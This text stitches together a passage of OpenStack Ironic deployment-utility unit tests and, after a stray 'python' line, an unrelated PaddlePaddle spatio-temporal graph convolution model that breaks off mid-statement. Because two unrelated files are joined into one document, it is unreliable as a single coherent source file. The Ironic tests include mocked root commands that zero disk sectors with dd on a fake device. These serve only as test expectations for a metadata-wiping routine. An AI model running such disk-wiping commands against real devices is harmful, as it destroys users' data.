self.assertEqual(_UEFI_PXECONF_BOOT_WHOLE_DISK, pxeconf) @mock.patch('time.sleep', lambda sec: None) class OtherFunctionTestCase(db_base.DbTestCase): def setUp(self): super(OtherFunctionTestCase, self).setUp() mgr_utils.mock_the_extension_manager(driver="fake_pxe") self.node = obj_utils.create_test_node(self.context, driver='fake_pxe') def test_get_dev(self): expected = '/dev/disk/by-path/ip-1.2.3.4:5678-iscsi-iqn.fake-lun-9' actual = utils.get_dev('1.2.3.4', 5678, 'iqn.fake', 9) self.assertEqual(expected, actual) @mock.patch.object(os, 'stat', autospec=True) @mock.patch.object(stat, 'S_ISBLK', autospec=True) def test_is_block_device_works(self, mock_is_blk, mock_os): device = '/dev/disk/by-path/ip-1.2.3.4:5678-iscsi-iqn.fake-lun-9' mock_is_blk.return_value = True mock_os().st_mode = 10000 self.assertTrue(utils.is_block_device(device)) mock_is_blk.assert_called_once_with(mock_os().st_mode) @mock.patch.object(os, 'stat', autospec=True) def test_is_block_device_raises(self, mock_os): device = '/dev/disk/by-path/ip-1.2.3.4:5678-iscsi-iqn.fake-lun-9' mock_os.side_effect = OSError self.assertRaises(exception.InstanceDeployFailure, utils.is_block_device, device) mock_os.assert_has_calls([mock.call(device)] * 3) @mock.patch.object(os.path, 'getsize', autospec=True) @mock.patch.object(images, 'converted_size', autospec=True) def test_get_image_mb(self, mock_csize, mock_getsize): mb = 1024 * 1024 mock_getsize.return_value = 0 mock_csize.return_value = 0 self.assertEqual(0, utils.get_image_mb('x', False)) self.assertEqual(0, utils.get_image_mb('x', True)) mock_getsize.return_value = 1 mock_csize.return_value = 1 self.assertEqual(1, utils.get_image_mb('x', False)) self.assertEqual(1, utils.get_image_mb('x', True)) mock_getsize.return_value = mb mock_csize.return_value = mb self.assertEqual(1, utils.get_image_mb('x', False)) self.assertEqual(1, utils.get_image_mb('x', True)) mock_getsize.return_value = mb + 1 mock_csize.return_value = mb + 1 self.assertEqual(2, utils.get_image_mb('x', False)) self.assertEqual(2, utils.get_image_mb('x', True)) def test_parse_root_device_hints(self): self.node.properties['root_device'] = {'wwn': 123456} expected = 'wwn=123456' result = utils.parse_root_device_hints(self.node) self.assertEqual(expected, result) def test_parse_root_device_hints_string_space(self): self.node.properties['root_device'] = {'model': 'fake model'} expected = 'model=fake%20model' result = utils.parse_root_device_hints(self.node) self.assertEqual(expected, result) def test_parse_root_device_hints_no_hints(self): self.node.properties = {} result = utils.parse_root_device_hints(self.node) self.assertIsNone(result) def test_parse_root_device_hints_invalid_hints(self): self.node.properties['root_device'] = {'vehicle': 'Owlship'} self.assertRaises(exception.InvalidParameterValue, utils.parse_root_device_hints, self.node) def test_parse_root_device_hints_invalid_size(self): self.node.properties['root_device'] = {'size': 'not-int'} self.assertRaises(exception.InvalidParameterValue, utils.parse_root_device_hints, self.node) @mock.patch.object(disk_partitioner.DiskPartitioner, 'commit', lambda _: None) class WorkOnDiskTestCase(tests_base.TestCase): def setUp(self): super(WorkOnDiskTestCase, self).setUp() self.image_path = '/tmp/xyz/image' self.root_mb = 128 self.swap_mb = 64 self.ephemeral_mb = 0 self.ephemeral_format = None self.configdrive_mb = 0 self.dev = '/dev/fake' self.swap_part = '/dev/fake-part1' self.root_part = '/dev/fake-part2' self.mock_ibd_obj = mock.patch.object( utils, 'is_block_device', autospec=True) self.mock_ibd = self.mock_ibd_obj.start() self.addCleanup(self.mock_ibd_obj.stop) self.mock_mp_obj = mock.patch.object( utils, 'make_partitions', autospec=True) self.mock_mp = self.mock_mp_obj.start() self.addCleanup(self.mock_mp_obj.stop) self.mock_remlbl_obj = mock.patch.object( utils, 'destroy_disk_metadata', autospec=True) self.mock_remlbl = self.mock_remlbl_obj.start() self.addCleanup(self.mock_remlbl_obj.stop) self.mock_mp.return_value = {'swap': self.swap_part, 'root': self.root_part} def test_no_root_partition(self): self.mock_ibd.return_value = False self.assertRaises(exception.InstanceDeployFailure, utils.work_on_disk, self.dev, self.root_mb, self.swap_mb, self.ephemeral_mb, self.ephemeral_format, self.image_path, 'fake-uuid') self.mock_ibd.assert_called_once_with(self.root_part) self.mock_mp.assert_called_once_with(self.dev, self.root_mb, self.swap_mb, self.ephemeral_mb, self.configdrive_mb, commit=True, boot_option="netboot", boot_mode="bios") def test_no_swap_partition(self): self.mock_ibd.side_effect = iter([True, False]) calls = [mock.call(self.root_part), mock.call(self.swap_part)] self.assertRaises(exception.InstanceDeployFailure, utils.work_on_disk, self.dev, self.root_mb, self.swap_mb, self.ephemeral_mb, self.ephemeral_format, self.image_path, 'fake-uuid') self.assertEqual(self.mock_ibd.call_args_list, calls) self.mock_mp.assert_called_once_with(self.dev, self.root_mb, self.swap_mb, self.ephemeral_mb, self.configdrive_mb, commit=True, boot_option="netboot", boot_mode="bios") def test_no_ephemeral_partition(self): ephemeral_part = '/dev/fake-part1' swap_part = '/dev/fake-part2' root_part = '/dev/fake-part3' ephemeral_mb = 256 ephemeral_format = 'exttest' self.mock_mp.return_value = {'ephemeral': ephemeral_part, 'swap': swap_part, 'root': root_part} self.mock_ibd.side_effect = iter([True, True, False]) calls = [mock.call(root_part), mock.call(swap_part), mock.call(ephemeral_part)] self.assertRaises(exception.InstanceDeployFailure, utils.work_on_disk, self.dev, self.root_mb, self.swap_mb, ephemeral_mb, ephemeral_format, self.image_path, 'fake-uuid') self.assertEqual(self.mock_ibd.call_args_list, calls) self.mock_mp.assert_called_once_with(self.dev, self.root_mb, self.swap_mb, ephemeral_mb, self.configdrive_mb, commit=True, boot_option="netboot", boot_mode="bios") @mock.patch.object(common_utils, 'unlink_without_raise', autospec=True) @mock.patch.object(utils, '_get_configdrive', autospec=True) def test_no_configdrive_partition(self, mock_configdrive, mock_unlink): mock_configdrive.return_value = (10, 'fake-path') swap_part = '/dev/fake-part1' configdrive_part = '/dev/fake-part2' root_part = '/dev/fake-part3' configdrive_url = 'http://1.2.3.4/cd' configdrive_mb = 10 self.mock_mp.return_value = {'swap': swap_part, 'configdrive': configdrive_part, 'root': root_part} self.mock_ibd.side_effect = iter([True, True, False]) calls = [mock.call(root_part), mock.call(swap_part), mock.call(configdrive_part)] self.assertRaises(exception.InstanceDeployFailure, utils.work_on_disk, self.dev, self.root_mb, self.swap_mb, self.ephemeral_mb, self.ephemeral_format, self.image_path, 'fake-uuid', preserve_ephemeral=False, configdrive=configdrive_url, boot_option="netboot") self.assertEqual(self.mock_ibd.call_args_list, calls) self.mock_mp.assert_called_once_with(self.dev, self.root_mb, self.swap_mb, self.ephemeral_mb, configdrive_mb, commit=True, boot_option="netboot", boot_mode="bios") mock_unlink.assert_called_once_with('fake-path') @mock.patch.object(common_utils, 'execute', autospec=True) class MakePartitionsTestCase(tests_base.TestCase): def setUp(self): super(MakePartitionsTestCase, self).setUp() self.dev = 'fake-dev' self.root_mb = 1024 self.swap_mb = 512 self.ephemeral_mb = 0 self.configdrive_mb = 0 self.parted_static_cmd = ['parted', '-a', 'optimal', '-s', self.dev, '--', 'unit', 'MiB', 'mklabel', 'msdos'] def _test_make_partitions(self, mock_exc, boot_option): mock_exc.return_value = (None, None) utils.make_partitions(self.dev, self.root_mb, self.swap_mb, self.ephemeral_mb, self.configdrive_mb, boot_option=boot_option) expected_mkpart = ['mkpart', 'primary', 'linux-swap', '1', '513', 'mkpart', 'primary', '', '513', '1537'] if boot_option == "local": expected_mkpart.extend(['set', '2', 'boot', 'on']) parted_cmd = self.parted_static_cmd + expected_mkpart parted_call = mock.call(*parted_cmd, run_as_root=True, check_exit_code=[0]) fuser_cmd = ['fuser', 'fake-dev'] fuser_call = mock.call(*fuser_cmd, run_as_root=True, check_exit_code=[0, 1]) mock_exc.assert_has_calls([parted_call, fuser_call]) def test_make_partitions(self, mock_exc): self._test_make_partitions(mock_exc, boot_option="netboot") def test_make_partitions_local_boot(self, mock_exc): self._test_make_partitions(mock_exc, boot_option="local") def test_make_partitions_with_ephemeral(self, mock_exc): self.ephemeral_mb = 2048 expected_mkpart = ['mkpart', 'primary', '', '1', '2049', 'mkpart', 'primary', 'linux-swap', '2049', '2561', 'mkpart', 'primary', '', '2561', '3585'] cmd = self.parted_static_cmd + expected_mkpart mock_exc.return_value = (None, None) utils.make_partitions(self.dev, self.root_mb, self.swap_mb, self.ephemeral_mb, self.configdrive_mb) parted_call = mock.call(*cmd, run_as_root=True, check_exit_code=[0]) mock_exc.assert_has_calls([parted_call]) @mock.patch.object(utils, 'get_dev_block_size', autospec=True) @mock.patch.object(common_utils, 'execute', autospec=True) class DestroyMetaDataTestCase(tests_base.TestCase): def setUp(self): super(DestroyMetaDataTestCase, self).setUp() self.dev = 'fake-dev' self.node_uuid = "12345678-1234-1234-1234-1234567890abcxyz" def test_destroy_disk_metadata(self, mock_exec, mock_gz): mock_gz.return_value = 64 expected_calls = [mock.call('dd', 'if=/dev/zero', 'of=fake-dev', 'bs=512', 'count=36', run_as_root=True, check_exit_code=[0]), mock.call('dd', 'if=/dev/zero', 'of=fake-dev', 'bs=512', 'count=36', 'seek=28', run_as_root=True, check_exit_code=[0])] utils.destroy_disk_metadata(self.dev, self.node_uuid) mock_exec.assert_has_calls(expected_calls) self.assertTrue(mock_gz.called) def test_destroy_disk_metadata_get_dev_size_fail(self, mock_exec, mock_gz): mock_gz.side_effect = processutils.ProcessExecutionError expected_call = [mock.call('dd', 'if=/dev/zero', 'of=fake-dev', 'bs=512', 'count=36', run_as_root=True, check_exit_code=[0])] self.assertRaises(processutils.ProcessExecutionError, utils.destroy_disk_metadata, self.dev, self.node_uuid) mock_exec.assert_has_calls(expected_call) def test_destroy_disk_metadata_dd_fail(self, mock_exec, mock_gz): mock_exec.side_effect = processutils.ProcessExecutionError expected_call = [mock.call('dd', 'if=/dev/zero', 'of=fake-dev', 'bs=512', 'count=36', run_as_root=True, check_exit_code=[0])] self.assertRaises(processutils.ProcessExecutionError, utils.destroy_disk_metadata, self.dev, self.node_uuid) mock_exec.assert_has_calls(expected_call) self.assertFalse(mock_gz.called) @mock.patch.object(common_utils, 'execute', autospec=True) class GetDeviceBlockSizeTestCase(tests_base.TestCase): def setUp(self): super(GetDeviceBlockSizeTestCase, self).setUp() self.dev = 'fake-dev' self.node_uuid = "12345678-1234-1234-1234-1234567890abcxyz" def test_get_dev_block_size(self, mock_exec): mock_exec.return_value = ("64", "") expected_call = [mock.call('blockdev', '--getsz', self.dev, run_as_root=True, check_exit_code=[0])] utils.get_dev_block_size(self.dev) mock_exec.assert_has_calls(expected_call) @mock.patch.object(utils, 'dd', autospec=True) @mock.patch.object(images, 'qemu_img_info', autospec=True) @mock.patch.object(images, 'convert_image', autospec=True) class PopulateImageTestCase(tests_base.TestCase): def setUp(self): super(PopulateImageTestCase, self).setUp() def test_populate_raw_image(self, mock_cg, mock_qinfo, mock_dd): type(mock_qinfo.return_value).file_format = mock.PropertyMock( return_value='raw') utils.populate_image('src', 'dst') mock_dd.assert_called_once_with('src', 'dst') self.assertFalse(mock_cg.called) def test_populate_qcow2_image(self, mock_cg, mock_qinfo, mock_dd): type(mock_qinfo.return_value).file_format = mock.PropertyMock( return_value='qcow2') utils.populate_image('src', 'dst') mock_cg.assert_called_once_with('src', 'dst', 'raw', True) self.assertFalse(mock_dd.called) @mock.patch.object(utils, 'is_block_device', lambda d: True) @mock.patch.object(utils, 'block_uuid', lambda p: 'uuid') @mock.patch.object(utils, 'dd', lambda *_: None) @mock.patch.object(images, 'convert_image', lambda *_: None) @mock.patch.object(common_utils, 'mkfs', lambda *_: None) # NOTE(dtantsur): destroy_disk_metadata resets file size, disabling it @mock.patch.object(utils, 'destroy_disk_metadata', lambda *_: None) class RealFilePartitioningTestCase(tests_base.TestCase): """This test applies some real-world partitioning scenario to a file. This test covers the whole partitioning, mocking everything not possible on a file. That helps us assure, that we do all partitioning math properly and also conducts integration testing of DiskPartitioner. """ def setUp(self): super(RealFilePartitioningTestCase, self).setUp() # NOTE(dtantsur): no parted utility on gate-ironic-python26 try: common_utils.execute('parted', '--version') except OSError as exc: self.skipTest('parted utility was not found: %s' % exc) self.file = tempfile.NamedTemporaryFile(delete=False) # NOTE(ifarkas): the file needs to be closed, so fuser won't report # any usage self.file.close() # NOTE(dtantsur): 20 MiB file with zeros common_utils.execute('dd', 'if=/dev/zero', 'of=%s' % self.file.name, 'bs=1', 'count=0', 'seek=20MiB') @staticmethod def _run_without_root(func, *args, **kwargs): """Make sure root is not required when using utils.execute.""" real_execute = common_utils.execute def fake_execute(*cmd, **kwargs): kwargs['run_as_root'] = False return real_execute(*cmd, **kwargs) with mock.patch.object(common_utils, 'execute', fake_execute): return func(*args, **kwargs) def test_different_sizes(self): # NOTE(dtantsur): Keep this list in order with expected partitioning fields = ['ephemeral_mb', 'swap_mb', 'root_mb'] variants = ((0, 0, 12), (4, 2, 8), (0, 4, 10), (5, 0, 10)) for variant in variants: kwargs = dict(zip(fields, variant)) self._run_without_root(utils.work_on_disk, self.file.name, ephemeral_format='ext4', node_uuid='', image_path='path', **kwargs) part_table = self._run_without_root( disk_partitioner.list_partitions, self.file.name) for part, expected_size in zip(part_table, filter(None, variant)): self.assertEqual(expected_size, part['size'], "comparison failed for %s" % list(variant)) def test_whole_disk(self): # 6 MiB ephemeral + 3 MiB swap + 9 MiB root + 1 MiB for MBR # + 1 MiB MAGIC == 20 MiB whole disk # TODO(dtantsur): figure out why we need 'magic' 1 more MiB # and why the is different on Ubuntu and Fedora (see below) self._run_without_root(utils.work_on_disk, self.file.name, root_mb=9, ephemeral_mb=6, swap_mb=3, ephemeral_format='ext4', node_uuid='', image_path='path') part_table = self._run_without_root( disk_partitioner.list_partitions, self.file.name) sizes = [part['size'] for part in part_table] # NOTE(dtantsur): parted in Ubuntu 12.04 will occupy the last MiB, # parted in Fedora 20 won't - thus two possible variants for last part self.assertEqual([6, 3], sizes[:2], "unexpected partitioning %s" % part_table) self.assertIn(sizes[2], (9, 10)) @mock.patch.object(image_cache, 'clean_up_caches', autospec=True) def test_fetch_images(self, mock_clean_up_caches): mock_cache = mock.MagicMock( spec_set=['fetch_image', 'master_dir'], master_dir='master_dir') utils.fetch_images(None, mock_cache, [('uuid', 'path')]) mock_clean_up_caches.assert_called_once_with(None, 'master_dir', [('uuid', 'path')]) mock_cache.fetch_image.assert_called_once_with('uuid', 'path', ctx=None, force_raw=True) @mock.patch.object(image_cache, 'clean_up_caches', autospec=True) def test_fetch_images_fail(self, mock_clean_up_caches): exc = exception.InsufficientDiskSpace(path='a', required=2, actual=1) mock_cache = mock.MagicMock( spec_set=['master_dir'], master_dir='master_dir') mock_clean_up_caches.side_effect = iter([exc]) self.assertRaises(exception.InstanceDeployFailure, utils.fetch_images, None, mock_cache, [('uuid', 'path')]) mock_clean_up_caches.assert_called_once_with(None, 'master_dir', [('uuid', 'path')]) @mock.patch.object(shutil, 'copyfileobj', autospec=True) @mock.patch.object(requests, 'get', autospec=True) class GetConfigdriveTestCase(tests_base.TestCase): @mock.patch.object(gzip, 'GzipFile', autospec=True) def test_get_configdrive(self, mock_gzip, mock_requests, mock_copy): mock_requests.return_value = mock.MagicMock( spec_set=['content'], content='Zm9vYmFy') utils._get_configdrive('http://1.2.3.4/cd', 'fake-node-uuid') mock_requests.assert_called_once_with('http://1.2.3.4/cd') mock_gzip.assert_called_once_with('configdrive', 'rb', fileobj=mock.ANY) mock_copy.assert_called_once_with(mock.ANY, mock.ANY) @mock.patch.object(gzip, 'GzipFile', autospec=True) def test_get_configdrive_base64_string(self, mock_gzip, mock_requests, mock_copy): utils._get_configdrive('Zm9vYmFy', 'fake-node-uuid') self.assertFalse(mock_requests.called) mock_gzip.assert_called_once_with('configdrive', 'rb', fileobj=mock.ANY) mock_copy.assert_called_once_with(mock.ANY, mock.ANY) def test_get_configdrive_bad_url(self, mock_requests, mock_copy): mock_requests.side_effect = requests.exceptions.RequestException self.assertRaises(exception.InstanceDeployFailure, utils._get_configdrive, 'http://1.2.3.4/cd', 'fake-node-uuid') self.assertFalse(mock_copy.called) @mock.patch.object(base64, 'b64decode', autospec=True) def test_get_configdrive_base64_error(self, mock_b64, mock_requests, mock_copy): mock_b64.side_effect = TypeError self.assertRaises(exception.InstanceDeployFailure, utils._get_configdrive, 'malformed', 'fake-node-uuid') mock_b64.assert_called_once_with('malformed') self.assertFalse(mock_copy.called) @mock.patch.object(gzip, 'GzipFile', autospec=True) def test_get_configdrive_gzip_error(self, mock_gzip, mock_requests, mock_copy): mock_requests.return_value = mock.MagicMock( spec_set=['content'], content='Zm9vYmFy') mock_copy.side_effect = IOError self.assertRaises(exception.InstanceDeployFailure, utils._get_configdrive, 'http://1.2.3.4/cd', 'fake-node-uuid') mock_requests.assert_called_once_with('http://1.2.3.4/cd') mock_gzip.assert_called_once_with('configdrive', 'rb', fileobj=mock.ANY) mock_copy.assert_called_once_with(mock.ANY, mock.ANY) class VirtualMediaDeployUtilsTestCase(db_base.DbTestCase): def setUp(self): super(VirtualMediaDeployUtilsTestCase, self).setUp() mgr_utils.mock_the_extension_manager(driver="iscsi_ilo") info_dict = db_utils.get_test_ilo_info() self.node = obj_utils.create_test_node(self.context, driver='iscsi_ilo', driver_info=info_dict) def test_get_single_nic_with_vif_port_id(self): obj_utils.create_test_port(self.context, node_id=self.node.id, address='aa:bb:cc', uuid=uuidutils.generate_uuid(), extra={'vif_port_id': 'test-vif-A'}, driver='iscsi_ilo') with task_manager.acquire(self.context, self.node.uuid, shared=False) as task: address = utils.get_single_nic_with_vif_port_id(task) self.assertEqual('aa:bb:cc', address) class ParseInstanceInfoCapabilitiesTestCase(tests_base.TestCase): def setUp(self): super(ParseInstanceInfoCapabilitiesTestCase, self).setUp() self.node = obj_utils.get_test_node(self.context, driver='fake') def test_parse_instance_info_capabilities_string(self): self.node.instance_info = {'capabilities': '{"cat": "meow"}'} expected_result = {"cat": "meow"} result = utils.parse_instance_info_capabilities(self.node) self.assertEqual(expected_result, result) def test_parse_instance_info_capabilities(self): self.node.instance_info = {'capabilities': {"dog": "wuff"}} expected_result = {"dog": "wuff"} result = utils.parse_instance_info_capabilities(self.node) self.assertEqual(expected_result, result) def test_parse_instance_info_invalid_type(self): self.node.instance_info = {'capabilities': 'not-a-dict'} self.assertRaises(exception.InvalidParameterValue, utils.parse_instance_info_capabilities, self.node) def test_is_secure_boot_requested_true(self): self.node.instance_info = {'capabilities': {"secure_boot": "tRue"}} self.assertTrue(utils.is_secure_boot_requested(self.node)) def test_is_secure_boot_requested_false(self): self.node.instance_info = {'capabilities': {"secure_boot": "false"}} self.assertFalse(utils.is_secure_boot_requested(self.node)) def test_is_secure_boot_requested_invalid(self): self.node.instance_info = {'capabilities': {"secure_boot": "invalid"}} self.assertFalse(utils.is_secure_boot_requested(self.node)) def test_get_boot_mode_for_deploy_using_capabilities(self): properties = {'capabilities': 'boot_mode:uefi,cap2:value2'} self.node.properties = properties result = utils.get_boot_mode_for_deploy(self.node) self.assertEqual('uefi', result) def test_get_boot_mode_for_deploy_using_instance_info_cap(self): instance_info = {'capabilities': {'secure_boot': 'True'}} self.node.instance_info = instance_info result = utils.get_boot_mode_for_deploy(self.node) self.assertEqual('uefi', result) def test_get_boot_mode_for_deploy_using_instance_info(self): instance_info = {'deploy_boot_mode': 'bios'} self.node.instance_info = instance_info result = utils.get_boot_mode_for_deploy(self.node) self.assertEqual('bios', result) class TrySetBootDeviceTestCase(db_base.DbTestCase): def setUp(self): super(TrySetBootDeviceTestCase, self).setUp() mgr_utils.mock_the_extension_manager(driver="fake") self.node = obj_utils.create_test_node(self.context, driver="fake") @mock.patch.object(manager_utils, 'node_set_boot_device', autospec=True) def test_try_set_boot_device_okay(self, node_set_boot_device_mock): with task_manager.acquire(self.context, self.node.uuid, shared=False) as task: utils.try_set_boot_device(task, boot_devices.DISK, persistent=True) node_set_boot_device_mock.assert_called_once_with( task, boot_devices.DISK, persistent=True) @mock.patch.object(utils, 'LOG', autospec=True) @mock.patch.object(manager_utils, 'node_set_boot_device', autospec=True) def test_try_set_boot_device_ipmifailure_uefi(self, node_set_boot_device_mock, log_mock): self.node.properties = {'capabilities': 'boot_mode:uefi'} self.node.save() node_set_boot_device_mock.side_effect = exception.IPMIFailure(cmd='a') with task_manager.acquire(self.context, self.node.uuid, shared=False) as task: utils.try_set_boot_device(task, boot_devices.DISK, persistent=True) node_set_boot_device_mock.assert_called_once_with( task, boot_devices.DISK, persistent=True) log_mock.warning.assert_called_once_with(mock.ANY) @mock.patch.object(manager_utils, 'node_set_boot_device', autospec=True) def test_try_set_boot_device_ipmifailure_bios( self, node_set_boot_device_mock): node_set_boot_device_mock.side_effect = exception.IPMIFailure(cmd='a') with task_manager.acquire(self.context, self.node.uuid, shared=False) as task: self.assertRaises(exception.IPMIFailure, utils.try_set_boot_device, task, boot_devices.DISK, persistent=True) node_set_boot_device_mock.assert_called_once_with( task, boot_devices.DISK, persistent=True) @mock.patch.object(manager_utils, 'node_set_boot_device', autospec=True) def test_try_set_boot_device_some_other_exception( self, node_set_boot_device_mock): exc = exception.IloOperationError(operation="qwe", error="error") node_set_boot_device_mock.side_effect = exc with task_manager.acquire(self.context, self.node.uuid, shared=False) as task: self.assertRaises(exception.IloOperationError, utils.try_set_boot_device, task, boot_devices.DISK, persistent=True) node_set_boot_device_mock.assert_called_once_with( task, boot_devices.DISK, persistent=True) class AgentCleaningTestCase(db_base.DbTestCase): def setUp(self): super(AgentCleaningTestCase, self).setUp() mgr_utils.mock_the_extension_manager(driver='fake_agent') n = {'driver': 'fake_agent', 'driver_internal_info': {'agent_url': 'http://127.0.0.1:9999'}} self.node = obj_utils.create_test_node(self.context, **n) self.ports = [obj_utils.create_test_port(self.context, node_id=self.node.id)] self.clean_steps = { 'hardware_manager_version': '1', 'clean_steps': { 'GenericHardwareManager': [ {'interface': 'deploy', 'step': 'erase_devices', 'priority': 20}, ], 'SpecificHardwareManager': [ {'interface': 'deploy', 'step': 'update_firmware', 'priority': 30}, {'interface': 'raid', 'step': 'create_raid', 'priority': 10}, ] } } @mock.patch('ironic.objects.Port.list_by_node_id', spec_set=types.FunctionType) @mock.patch.object(agent_client.AgentClient, 'get_clean_steps', autospec=True) def test_get_clean_steps(self, client_mock, list_ports_mock): client_mock.return_value = { 'command_result': self.clean_steps} list_ports_mock.return_value = self.ports with task_manager.acquire( self.context, self.node['uuid'], shared=False) as task: response = utils.agent_get_clean_steps(task) client_mock.assert_called_once_with(mock.ANY, task.node, self.ports) self.assertEqual('1', task.node.driver_internal_info[ 'hardware_manager_version']) # Since steps are returned in dicts, they have non-deterministic # ordering self.assertEqual(2, len(response)) self.assertIn(self.clean_steps['clean_steps'][ 'GenericHardwareManager'][0], response) self.assertIn(self.clean_steps['clean_steps'][ 'SpecificHardwareManager'][0], response) @mock.patch('ironic.objects.Port.list_by_node_id', spec_set=types.FunctionType) @mock.patch.object(agent_client.AgentClient, 'get_clean_steps', autospec=True) def test_get_clean_steps_missing_steps(self, client_mock, list_ports_mock): del self.clean_steps['clean_steps'] client_mock.return_value = { 'command_result': self.clean_steps} list_ports_mock.return_value = self.ports with task_manager.acquire( self.context, self.node['uuid'], shared=False) as task: self.assertRaises(exception.NodeCleaningFailure, utils.agent_get_clean_steps, task) client_mock.assert_called_once_with(mock.ANY, task.node, self.ports) @mock.patch('ironic.objects.Port.list_by_node_id', spec_set=types.FunctionType) @mock.patch.object(agent_client.AgentClient, 'execute_clean_step', autospec=True) def test_execute_clean_step(self, client_mock, list_ports_mock): client_mock.return_value = { 'command_status': 'SUCCEEDED'} list_ports_mock.return_value = self.ports with task_manager.acquire( self.context, self.node['uuid'], shared=False) as task: response = utils.agent_execute_clean_step( task, self.clean_steps['clean_steps']['GenericHardwareManager'][0]) self.assertEqual(states.CLEANING, response) @mock.patch('ironic.objects.Port.list_by_node_id', spec_set=types.FunctionType) @mock.patch.object(agent_client.AgentClient, 'execute_clean_step', autospec=True) def test_execute_clean_step_running(self, client_mock, list_ports_mock): client_mock.return_value = { 'command_status': 'RUNNING'} list_ports_mock.return_value = self.ports with task_manager.acquire( self.context, self.node['uuid'], shared=False) as task: response = utils.agent_execute_clean_step( task, self.clean_steps['clean_steps']['GenericHardwareManager'][0]) self.assertEqual(states.CLEANING, response) @mock.patch('ironic.objects.Port.list_by_node_id', spec_set=types.FunctionType) @mock.patch.object(agent_client.AgentClient, 'execute_clean_step', autospec=True) def test_execute_clean_step_version_mismatch(self, client_mock, list_ports_mock): client_mock.return_value = { 'command_status': 'RUNNING'} list_ports_mock.return_value = self.ports with task_manager.acquire( self.context, self.node['uuid'], shared=False) as task: response = utils.agent_execute_clean_step( task, self.clean_steps['clean_steps']['GenericHardwareManager'][0]) self.assertEqual(states.CLEANING, response) @mock.patch.object(utils, 'is_block_device', autospec=True) @mock.patch.object(utils, 'login_iscsi', lambda *_: None) @mock.patch.object(utils, 'discovery', lambda *_: None) @mock.patch.object(utils, 'logout_iscsi', lambda *_: None) @mock.patch.object(utils, 'delete_iscsi', lambda *_: None) @mock.patch.object(utils, 'get_dev', lambda *_: '/dev/fake') class ISCSISetupAndHandleErrorsTestCase(tests_base.TestCase): def test_no_parent_device(self, mock_ibd): address = '127.0.0.1' port = 3306 iqn = 'iqn.xyz' lun = 1 mock_ibd.return_value = False expected_dev = '/dev/fake' with testtools.ExpectedException(exception.InstanceDeployFailure): with utils._iscsi_setup_and_handle_errors( address, port, iqn, lun) as dev: self.assertEqual(expected_dev, dev) mock_ibd.assert_called_once_with(expected_dev) def test_parent_device_yield(self, mock_ibd): address = '127.0.0.1' port = 3306 iqn = 'iqn.xyz' lun = 1 expected_dev = '/dev/fake' mock_ibd.return_value = True with utils._iscsi_setup_and_handle_errors(address, port, iqn, lun) as dev: self.assertEqual(expected_dev, dev) mock_ibd.assert_called_once_with(expected_dev)
python
# Copyright (c) 2020 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import numpy as np import paddle.fluid as fluid import paddle.fluid.layers as fl import pgl class STGCNModel(object): """Implementation of Spatio-Temporal Graph Convolutional Networks""" def __init__(self, args, gw): self.args = args self.gw = gw self.input = fl.data( name="input", shape=[None, args.n_his + 1, args.n_route, 1], dtype="float32") def forward(self): """forward""" x = self.input[:, 0:self.args.n_his, :, :] # Ko>0: kernel size of temporal convolution in the output layer. Ko = self.args.n_his # ST-Block for i, channels in enumerate(self.args.blocks): x = self.st_conv_block( x, self.args.Ks, self.args.Kt, channels, "st_conv_%d" % i, self.args.keep_prob, act_func='GLU') # output layer if Ko > 1: y = self.output_layer(x, Ko, 'output_layer') else: raise ValueError(f'ERROR: kernel size Ko must be greater than 1, \ but received "{Ko}".') label = self.input[:, self.args.n_his:self.args.n_his + 1, :, :] train_loss = fl.reduce_sum((y - label) * (y - label)) single_pred = y[:, 0, :, :] # shape: [batch, n, 1] return train_loss, single_pred def st_conv_block(self, x, Ks, Kt, channels, name, keep_prob, act_func='GLU'): """Spatio-Temporal convolution block""" c_si, c_t, c_oo = channels x_s = self.temporal_conv_layer( x, Kt, c_si, c_t, "%s_tconv_in" % name, act_func=act_func) x_t = self.spatio_conv_layer(x_s, Ks, c_t, c_t, "%s_sonv" % name) x_o = self.temporal_conv_layer(x_t, Kt, c_t, c_oo, "%s_tconv_out" % name) x_ln = fl.layer_norm(x_o) return fl.dropout(x_ln, dropout_prob=(1.0 - keep_prob)) def temporal_conv_layer(self, x, Kt, c_in, c_out, name, act_func='relu'): """Temporal convolution layer""" _, T, n, _ = x.shape if c_in > c_out: x_input = fl.conv2d( input=x, num_filters=c_out, filter_size=[1, 1], stride=[1, 1], padding="SAME", data_format="NHWC", param_attr=fluid.ParamAttr(name="%s_conv2d_1" % name)) elif c_in < c_out: # if the size of input channel is less than the output, # padding x to the same size of output channel. pad = fl.fill_constant_batch_size_like( input=x, shape=[-1, T, n, c_out - c_in], dtype="float32", value=0.0) x_input = fl.concat([x, pad], axis=3) else: x_input = x # x_input = x_input[:, Kt - 1:T, :, :] if act_func == 'GLU': # gated liner unit bt_init = fluid.initializer.ConstantInitializer(value=0.0) bt = fl.create_parameter( shape=[2 * c_out], dtype="float32", attr=fluid.ParamAttr( name="%s_bt" % name, trainable=True, initializer=bt_init), ) x_conv = fl.conv2d( input=x, num_filters=2 * c_out, filter_size=[Kt, 1], stride=[1, 1], padding="SAME", data_format="NHWC", param_attr=fluid.ParamAttr(name="%s_conv2d_wt" % name)) x_conv = x_conv + bt return (x_conv[:, :, :, 0:c_out] + x_input ) * fl.sigmoid(x_conv[:, :, :, -c_out:]) else: bt_init = fluid.initializer.ConstantInitializer(value=0.0) bt = fl.create_parameter( shape=[c_out], dtype="float32", attr=fluid.ParamAttr( name="%s_bt" % name, trainable=True, initializer=bt_init), ) x_conv = fl.conv2d( input=x, num_filters=c_out, filter_size=[Kt, 1], stride=[1, 1], padding="SAME", data_format="NHWC", param_attr=fluid.ParamAttr(name="%s_conv2d_wt" % name)) x_conv = x_conv + bt if act_func == "linear": return x_conv elif act_func == "sigmoid": return fl.sigmoid(x_conv) elif act_func == "relu": return fl.relu(x_conv + x_input) else: raise ValueError( f'ERROR: activation function "{act_func}" is not defined.') def spatio_conv_layer(self, x, Ks, c_in, c_out, name): """Spatio convolution layer""" _, T, n, _ = x.shape if c_in > c_out: x_input = fl.conv2d( input=x, num_filters=c_out, filter_size=[1, 1], stride=[1, 1], padding="SAME", data_format="NHWC", param_attr=fluid.ParamAttr(name="%s_conv2d_1" % name)) elif c_in < 